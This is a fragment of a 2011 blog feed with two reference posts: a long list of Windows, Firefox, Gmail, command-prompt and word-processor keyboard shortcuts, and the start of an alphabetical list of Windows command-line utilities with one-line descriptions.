src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-7063421764988178876</id><published>2011-02-25T07:05:00.000-08:00</published><updated>2011-02-25T07:05:22.031-08:00</updated><title type='text'>All keyboard Shortcuts</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Verdana,sans-serif; font-size: 13px; line-height: 19px; text-align: left;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;1.) Windows Hotkeys&lt;br /&gt;
Shift + F10 right-clicks.&lt;br /&gt;
Win + L (XP Only): Locks keyboard. Similar to Lock Workstation.&lt;br /&gt;
Win + F or F3: Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs.&lt;br /&gt;
Win + Control + F: Open Find dialog. (Computers)&lt;br /&gt;
Win + U: Open Utility Manager.&lt;br /&gt;
Win + F1: Open Windows help.&lt;br /&gt;
Win + Pause: Open System Properties dialog.&lt;br /&gt;
Win + Tab: Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks.&lt;br /&gt;
Win + Shift + Tab: Cycle through taskbar buttons in reverse.&lt;br /&gt;
Alt + Tab: Display CoolSwitch. More commonly known as the AltTab dialog.&lt;br /&gt;
Alt + Shift + Tab: Display CoolSwitch; go in reverse.&lt;br /&gt;
Alt + Escape: Send active window to the bottom of the z-order.&lt;br /&gt;
Alt + Shift + Escape: Activate the window at the bottom of the z-order.&lt;br /&gt;
Alt + F4: Close active window; or, if all windows are closed, open shutdown dialog.&lt;br /&gt;
Shift while a CD is loading: Bypass AutoPlay.&lt;br /&gt;
Shift while login: Bypass startup folder. Only those applications will be ignored which are in the startup folder, not those started from the registry (Microsoft\Windows\CurrentVersion\Run\)&lt;br /&gt;
Ctrl + Alt + Delete or Ctrl + Alt + NumpadDel (Both NumLock states): Invoke the Task Manager or NT Security dialog.&lt;br /&gt;
Ctrl + Shift + Escape (2000/XP ) or (Ctrl + Alt + NumpadDot) : Invoke the task manager. On earlier OSes, acts like Ctrl + Escape.&lt;br /&gt;
Printscreen: Copy screenshot of current screen to clipboard.&lt;br /&gt;
Alt + Printscreen: Copy screenshot of current active window to clipboard.&lt;br /&gt;
Ctrl + Alt + Down Arrow: Invert screen. Untested on OSes other than XP.&lt;br /&gt;
Ctrl + Alt + Up Arrow: Undo inversion.&lt;br /&gt;
Win + B : Move focus to systray icons.&lt;br /&gt;
&lt;br /&gt;
2.) Generic&lt;br /&gt;
Ctrl + C or Ctrl + Insert: Copy.&lt;br /&gt;
Ctrl + X or Shift + Delete: Cut.&lt;br /&gt;
Ctrl + V or Shift + Insert: Paste/Move.&lt;br /&gt;
Ctrl + N: New... File, Tab, Entry, etc.&lt;br /&gt;
Ctrl + S: Save.&lt;br /&gt;
Ctrl + O: Open...&lt;br /&gt;
Ctrl + P: Print.&lt;br /&gt;
Ctrl + Z: Undo.&lt;br /&gt;
Ctrl + A: Select all.&lt;br /&gt;
Ctrl + F: Find...&lt;br /&gt;
Ctrl+W : to close the current window&lt;br /&gt;
Ctrl + F4: Close tab or child window.&lt;br /&gt;
F1: Open help.&lt;br /&gt;
F11: Toggle full screen mode.&lt;br /&gt;
Alt or F10: Activate menu bar.&lt;br /&gt;
Alt + Space: Display system menu. Same as clicking the icon on the titlebar.&lt;br /&gt;
Escape: Remove focus from current control/menu, or close dialog box.&lt;br /&gt;
&lt;br /&gt;
3.) Generic Navigation&lt;br /&gt;
Tab: Forward one item.&lt;br /&gt;
Shift + Tab: Backward one item.&lt;br /&gt;
Ctrl + Tab: Cycle through tabs/child windows.&lt;br /&gt;
Ctrl + Shift + Tab: Cycle backwards through tabs/child windows.&lt;br /&gt;
Enter: If a button&#39;s selected, click it, otherwise, click default button.&lt;br /&gt;
Space: Toggle items such as radio buttons or checkboxes.&lt;br /&gt;
Alt + (Letter): Activate item corresponding to (Letter). (Letter) is the underlined letter on the item&#39;s name.&lt;br /&gt;
Ctrl + Left: Move cursor to the beginning of previous word.&lt;br /&gt;
Ctrl + Right: Move cursor to the beginning of next word.&lt;br /&gt;
Ctrl + Up: Move cursor to beginning of previous paragraph. This and all subsequent Up/Down hotkeys in this section have only been known to work in RichEdit controls.&lt;br /&gt;
Ctrl + Down: Move cursor to beginning of next paragraph.&lt;br /&gt;
Shift + Left: Highlight one character to the left.&lt;br /&gt;
Shift + Right: Highlight one character to the right.&lt;br /&gt;
Shift + Up: Highlight from current cursor position, to one line up.&lt;br /&gt;
Shift + Down: Highlight from current cursor position, to one line down.&lt;br /&gt;
Ctrl + Shift + Left: Highlight to beginning of previous word.&lt;br /&gt;
Ctrl + Shift + Right: Highlight to beginning of next word.&lt;br /&gt;
Ctrl + Shift + Up: Highlight to beginning of previous paragraph.&lt;br /&gt;
Ctrl + Shift + Down: Highlight to beginning of next paragraph.&lt;br /&gt;
Home: Move cursor to top of a scrollable control.&lt;br /&gt;
End: Move cursor to bottom of a scrollable control.&lt;br /&gt;
&lt;br /&gt;
4.) Generic File Browser&lt;br /&gt;
Arrow Keys: Navigate.&lt;br /&gt;
Shift + Arrow Keys: Select multiple items.&lt;br /&gt;
Ctrl + Arrow Keys: Change focus without changing selection. &quot;Focus&quot; is the object that will run on Enter. Space toggles selection of the focused item.&lt;br /&gt;
(Letter): Select first found item that begins with (Letter).&lt;br /&gt;
BackSpace: Go up one level to the parent directory.&lt;br /&gt;
Alt + Left: Go back one folder.&lt;br /&gt;
Alt + Right: Go forward one folder.&lt;br /&gt;
Enter: Activate (Double-click) selected item(s).&lt;br /&gt;
Alt + Enter: View properties for selected item.&lt;br /&gt;
F2: Rename selected item(s).&lt;br /&gt;
Ctrl + NumpadPlus: In a Details view, resizes all columns to fit the longest item in each one.&lt;br /&gt;
Delete: Delete selected item(s).&lt;br /&gt;
Shift + Delete: Delete selected item(s); bypass Recycle Bin.&lt;br /&gt;
Ctrl while dragging item(s): Copy.&lt;br /&gt;
Ctrl + Shift while dragging item(s): Create shortcut(s).&lt;br /&gt;
In tree pane, if any:&lt;br /&gt;
Left: Collapse the current selection if expanded, or select the parent folder.&lt;br /&gt;
Right: Expand the current selection if collapsed, or select the first subfolder.&lt;br /&gt;
NumpadAsterisk: Expand currently selected directory and all subdirectories. No undo.&lt;br /&gt;
NumpadPlus: Expand currently selected directory.&lt;br /&gt;
NumpadMinus: Collapse currently selected directory.&lt;br /&gt;
&lt;br /&gt;
5.) Accessibility&lt;br /&gt;
Right Shift for eight seconds: Toggle FilterKeys on and off. FilterKeys must be enabled.&lt;br /&gt;
Left Alt + Left Shift + PrintScreen: Toggle High Contrast on and off. High Contrast must be enabled.&lt;br /&gt;
Left Alt + Left Shift + NumLock: Toggle MouseKeys on and off. MouseKeys must be enabled.&lt;br /&gt;
NumLock for five seconds: Toggle ToggleKeys on and off. ToggleKeys must be enabled.&lt;br /&gt;
Shift five times: Toggle StickyKeys on and off. StickyKeys must be enabled.&lt;br /&gt;
6.) Microsoft Natural Keyboard with IntelliType Software Installed&lt;br /&gt;
Win + L: Log off Windows.&lt;br /&gt;
Win + P: Open Print Manager.&lt;br /&gt;
Win + C: Open control panel.&lt;br /&gt;
Win + V: Open clipboard.&lt;br /&gt;
Win + K: Open keyboard properties.&lt;br /&gt;
Win + I: Open mouse properties.&lt;br /&gt;
Win + A: Open Accessibility properties.&lt;br /&gt;
Win + Space: Displays the list of Microsoft IntelliType shortcut keys.&lt;br /&gt;
Win + S: Toggle CapsLock on and off.&lt;br /&gt;
&lt;br /&gt;
7.) Remote Desktop Connection Navigation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ctrl + Alt + End: Open the NT Security dialog.&lt;br /&gt;
Alt + PageUp: Switch between programs.&lt;br /&gt;
Alt + PageDown: Switch between programs in reverse.&lt;br /&gt;
Alt + Insert: Cycle through the programs in most recently used order.&lt;br /&gt;
Alt + Home: Display start menu.&lt;br /&gt;
Ctrl + Alt + Break: Switch the client computer between a window and a full screen.&lt;br /&gt;
Alt + Delete: Display the Windows menu.&lt;br /&gt;
Ctrl + Alt + NumpadMinus: Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing Alt + PrintScreen on a local computer.&lt;br /&gt;
Ctrl + Alt + NumpadPlus: Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PrintScreen on a local computer.&lt;br /&gt;
&lt;br /&gt;
8.) Mozilla Firefox Shortcuts&lt;br /&gt;
Ctrl + Tab or Ctrl + PageDown: Cycle through tabs.&lt;br /&gt;
Ctrl + Shift + Tab or Ctrl + PageUp: Cycle through tabs in reverse.&lt;br /&gt;
Ctrl + (1-9): Switch to tab corresponding to number.&lt;br /&gt;
Ctrl + N: New window.&lt;br /&gt;
Ctrl + T: New tab.&lt;br /&gt;
Ctrl + L or Alt + D or F6: Switch focus to location bar.&lt;br /&gt;
Ctrl + Enter: Open location in new tab.&lt;br /&gt;
Shift + Enter: Open location in new window.&lt;br /&gt;
Ctrl + K or Ctrl + E: Switch focus to search bar.&lt;br /&gt;
Ctrl + O: Open a local file.&lt;br /&gt;
Ctrl + W: Close tab, or window if there&#39;s only one tab open.&lt;br /&gt;
Ctrl + Shift + W: Close window.&lt;br /&gt;
Ctrl + S: Save page as a local file.&lt;br /&gt;
Ctrl + P: Print page.&lt;br /&gt;
Ctrl + F or F3: Open find toolbar.&lt;br /&gt;
Ctrl + G or F3: Find next...&lt;br /&gt;
Ctrl + Shift + G or Shift + F3: Find previous...&lt;br /&gt;
Ctrl + B or Ctrl + I: Open Bookmarks sidebar.&lt;br /&gt;
Ctrl + H: Open History sidebar.&lt;br /&gt;
Escape: Stop loading page.&lt;br /&gt;
Ctrl + R or F5: Reload current page.&lt;br /&gt;
Ctrl + Shift + R or Ctrl + F5: Reload current page; bypass cache.&lt;br /&gt;
Ctrl + U: View page source.&lt;br /&gt;
Ctrl + D: Bookmark current page.&lt;br /&gt;
Ctrl + NumpadPlus or Ctrl + Equals (+/=): Increase text size.&lt;br /&gt;
Ctrl + NumpadMinus or Ctrl + Minus: Decrease text size.&lt;br /&gt;
Ctrl + Numpad0 or Ctrl + 0: Set text size to default.&lt;br /&gt;
Alt + Left or Backspace: Back.&lt;br /&gt;
Alt + Right or Shift + Backspace: Forward.&lt;br /&gt;
Alt + Home: Open home page.&lt;br /&gt;
Ctrl + M: Open new message in integrated mail client.&lt;br /&gt;
Ctrl + J: Open Downloads dialog.&lt;br /&gt;
F6: Switch to next frame. You must have selected something on the page already, e.g. by use of Tab.&lt;br /&gt;
Shift + F6: Switch to previous frame.&lt;br /&gt;
Apostrophe (&#39;): Find link as you type.&lt;br /&gt;
Slash (/): Find text as you type.&lt;br /&gt;
&lt;br /&gt;
9.) GMail&lt;br /&gt;
Note: Must have &quot;keyboard shortcuts&quot; on in settings.&lt;br /&gt;
C: Compose new message.&lt;br /&gt;
Shift + C: Open new window to compose new message.&lt;br /&gt;
Slash (/): Switch focus to search box.&lt;br /&gt;
K: Switch focus to the next most recent email. Enter or &quot;O&quot; opens focused email.&lt;br /&gt;
J: Switch focus to the next oldest email.&lt;br /&gt;
N: Switch focus to the next message in the &quot;conversation.&quot; Enter or &quot;O&quot; expands/collapses messages.&lt;br /&gt;
P: Switch focus to the previous message.&lt;br /&gt;
U: Takes you back to the inbox and checks for new mail.&lt;br /&gt;
Y: Various actions depending on current view:&lt;br /&gt;
Has no effect in &quot;Sent&quot; and &quot;All Mail&quot; views.&lt;br /&gt;
Inbox: Archive email or message.&lt;br /&gt;
Starred: Unstar email or message.&lt;br /&gt;
Spam: Unmark as spam and move back to &quot;Inbox.&quot;&lt;br /&gt;
Trash: Move back to &quot;Inbox.&quot;&lt;br /&gt;
Any label: Remove the label.&lt;br /&gt;
X: &quot;Check&quot; an email. Various actions can be performed against all checked emails.&lt;br /&gt;
S: &quot;Star&quot; an email. Identical to the more familiar term, &quot;flagging.&quot;&lt;br /&gt;
R: Reply to the email.&lt;br /&gt;
A: Reply to all recipients of the email.&lt;br /&gt;
F: Forward an email.&lt;br /&gt;
Shift + R: Reply to the email in a new window.&lt;br /&gt;
Shift + A: Reply to all recipients of the email in a new window.&lt;br /&gt;
Shift + F: Forward an email in a new window.&lt;br /&gt;
Shift + 1 (!): Mark an email as spam and remove it from the inbox.&lt;br /&gt;
G then I: Switch to &quot;Inbox&quot; view.&lt;br /&gt;
G then S: Switch to &quot;Starred&quot; view.&lt;br /&gt;
G then A: Switch to &quot;All Mail&quot; view.&lt;br /&gt;
G then C: Switch to &quot;Contacts&quot; view.&lt;br /&gt;
G then S: Switch to &quot;Drafts&quot; view.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.) List of F1-F9 Key Commands for the Command Prompt&lt;br /&gt;
&lt;br /&gt;
F1 / right arrow: Repeats the letters of the last command line, one by one.&lt;br /&gt;
F2: Displays a dialog asking user to &quot;enter the char to copy up to&quot; of the last command line&lt;br /&gt;
F3: Repeats the last command line&lt;br /&gt;
F4: Displays a dialog asking user to &quot;enter the char to delete up to&quot; of the last command line&lt;br /&gt;
F5: Goes back one command line&lt;br /&gt;
F6: Enters the traditional CTRL+Z (^z)&lt;br /&gt;
F7: Displays a menu with the command line history&lt;br /&gt;
F8: Cycles back through previous command lines (beginning with most recent)&lt;br /&gt;
F9: Displays a dialog asking user to enter a command number, where 0 is for first command line entered.&lt;br /&gt;
Alt+Enter: toggle fullScreen mode.&lt;br /&gt;
up/down: scroll thru/repeat previous entries&lt;br /&gt;
Esc: delete line&lt;br /&gt;
Note: The buffer allows a maximum of 50 command lines. After this number is reached, the first line will be replaced in sequence.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.Help&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Verdana,sans-serif; font-size: 13px; line-height: 19px; text-align: left;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;2. F2 Rename an item&lt;br /&gt;
3. F3 Open files&lt;br /&gt;
4. ALT+F4 Close window or quit program&lt;br /&gt;
5. F10 Activate the menu bar in a program&lt;br /&gt;
6. CTRL+ ESC open start menu, use the arrow keys to select an item, or TAB to select the taskbar&lt;br /&gt;
7. ALT+ TAB Return to previous program, or hold down the ALT key while repeatedly pressing tab to cycle through open programs&lt;br /&gt;
8. SHIFT+ DEL delete items permanently without sending to recycle bin&lt;br /&gt;
9. CTRL+ A Highlight all the items in window&lt;br /&gt;
10. CTRL+ C Copy&lt;br /&gt;
11. CTRL+ X Cut&lt;br /&gt;
12. CTRL+ V Paste&lt;br /&gt;
13. CTRL+ Z Undo&lt;br /&gt;
14. CTRL+ Y Redo&lt;br /&gt;
FOR INTERNET EXPLORER AND NETSCAPE&lt;br /&gt;
15. Home Jumps to the beginning of the page&lt;br /&gt;
16. END Jumps to the end of the page&lt;br /&gt;
17. ESC Stops the current page from loading&lt;br /&gt;
18. F11 Toggles full screen view&lt;br /&gt;
19. ALT+ LEFT ARROW Goes back to the previous page&lt;br /&gt;
20. ALT+ RIGHT ARROW Goes forward to the next page&lt;br /&gt;
21. ALT+ Home Goes to your Home page&lt;br /&gt;
22. CTRL+ N Opens a new browser window&lt;br /&gt;
23. CTRL+ W Closes the active window&lt;br /&gt;
24. CTRL+ O Opens the address book&lt;br /&gt;
25. CTRL+ R Reloads the current page&lt;br /&gt;
26. CTRL+ B Opens the Organized Favorites or Bookmarks windows&lt;br /&gt;
27. CTRL+ D Add the current page to your Favorites or Bookmarks&lt;br /&gt;
28. CTRL+ H Opens the history folder&lt;br /&gt;
29. CTRL+ F Finds text on the current page&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
CONTROL OVER A TO Z&lt;br /&gt;
One of the keys whose importance may have gone unnoticed by most of us is the Control key (Ctrl). The Control key in combination with the 26 alphabet keys can make a lot of our work easier than we think. The following pair of keys can come in handy when we want tasks faster than while using the mouse.&lt;br /&gt;
Operations that can be performed on the text selected:-&lt;br /&gt;
30. CTRL+ A Select all&lt;br /&gt;
31. CTRL+ B Bold&lt;br /&gt;
32. CTRL+ C Copy&lt;br /&gt;
33. CTRL+ E Justify center&lt;br /&gt;
34. CTRL+ I Italics&lt;br /&gt;
35. CTRL+ J Justify full&lt;br /&gt;
36. CTRL+ L Justify Left&lt;br /&gt;
37. CTRL+ M Indent&lt;br /&gt;
38. CTRL+ Q Remove paragraph Formatting&lt;br /&gt;
39. CTRL+ R Justify right&lt;br /&gt;
40. CTRL+ T Margin release&lt;br /&gt;
41. CTRL+ U Underline&lt;br /&gt;
These keys combos can be used to do other operations:-&lt;br /&gt;
42. CTRL+ D Opens Font Dialog Box&lt;br /&gt;
43. CTRL+ F Find&lt;br /&gt;
44. CTRL+ G Go to page, section, line, heading etc&lt;br /&gt;
45. CTRL+ H Find and replace&lt;br /&gt;
46. CTRL+ K Insert Hyperlink&lt;br /&gt;
47. CTRL+ N Open a new document&lt;br /&gt;
48. CTRL+ O Open an existing document&lt;br /&gt;
49. CTRL+ S Save&lt;br /&gt;
50 CTRL+ W Close an existing document&lt;br /&gt;
51. CTRL+ Y Redo&lt;br /&gt;
52. CTRL+ Z Undo&lt;br /&gt;
Besides the alphabet keys, a combination of other keys also helps:-&lt;br /&gt;
53. CTRL+ LEFT ARROW Jumps one word left&lt;br /&gt;
54. CTRL+ RIGHT ARROW Jumps one word right&lt;br /&gt;
55. CTRL+ DOWN ARROW Jumps one para down&lt;br /&gt;
56. CTRL+ UP ARROW Jumps one para up&lt;br /&gt;
57. CTRL+ BACKSPACE Delete one word left&lt;br /&gt;
58. CTRL+ DELETE Delete one word right&lt;br /&gt;
59. CTRL+ PAGE UP To the beginning of the previous page&lt;br /&gt;
60. CTRL+ PAGE DOWN to the beginning of the next page&lt;br /&gt;
61. CTRL+ P Print Dialog box&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/7063421764988178876/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/all-keyboard-shortcuts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/7063421764988178876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/7063421764988178876'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/all-keyboard-shortcuts.html' title='All keyboard Shortcuts'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-397822886710547938</id><published>2011-02-25T06:54:00.000-08:00</published><updated>2011-02-25T06:54:17.784-08:00</updated><title type='text'>All Dos Commands</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ADDUSERS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Add or list users to/from a CSV file&lt;br /&gt;
ARP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Address Resolution Protocol&lt;br /&gt;
ASSOC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change file extension associations&lt;br /&gt;
ASSOCIAT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; One step file association&lt;br /&gt;
AT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Schedule a command to run at a later time&lt;br /&gt;
ATTRIB&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change file attributes&lt;br /&gt;
&lt;br /&gt;
BOOTCFG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Edit Windows boot settings&lt;br /&gt;
BROWSTAT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Get domain, browser and PDC info&lt;br /&gt;
&lt;br /&gt;
CACLS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change file permissions&lt;br /&gt;
CALL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Call one batch program from another&lt;br /&gt;
CD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change Directory - move to a specific Folder&lt;br /&gt;
CHANGE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change Terminal Server Session properties&lt;br /&gt;
CHKDSK&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Check Disk - check and repair disk problems&lt;br /&gt;
CHKNTFS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Check the NTFS file system&lt;br /&gt;
CHOICE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Accept keyboard input to a batch file&lt;br /&gt;
CIPHER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Encrypt or Decrypt files/folders&lt;br /&gt;
CleanMgr&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Automated cleanup of Temp files, recycle bin&lt;br /&gt;
CLEARMEM&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Clear memory leaks&lt;br /&gt;
CLIP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copy STDIN to the Windows clipboard.&lt;br /&gt;
CLS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Clear the screen&lt;br /&gt;
CLUSTER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Windows Clustering&lt;br /&gt;
CMD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Start a new CMD shell&lt;br /&gt;
COLOR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change colors of the CMD window&lt;br /&gt;
COMP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Compare the contents of two files or sets of files&lt;br /&gt;
COMPACT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Compress files or folders on an NTFS partition&lt;br /&gt;
COMPRESS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Compress individual files on an NTFS partition&lt;br /&gt;
CON2PRT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connect or disconnect a Printer&lt;br /&gt;
CONVERT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Convert a FAT drive to NTFS.&lt;br /&gt;
COPY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copy one or more files to another location&lt;br /&gt;
CSVDE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Import or Export Active Directory data&lt;br /&gt;
&lt;br /&gt;
DATE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display or set the date&lt;br /&gt;
Dcomcnfg&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DCOM Configuration Utility&lt;br /&gt;
DEFRAG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Defragment hard drive&lt;br /&gt;
DEL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Delete one or more files&lt;br /&gt;
DELPROF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Delete NT user profiles&lt;br /&gt;
DELTREE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Delete a folder and all subfolders&lt;br /&gt;
DevCon&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Device Manager Command Line Utility&lt;br /&gt;
DIR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display a list of files and folders&lt;br /&gt;
DIRUSE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display disk usage&lt;br /&gt;
DISKCOMP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Compare the contents of two floppy disks&lt;br /&gt;
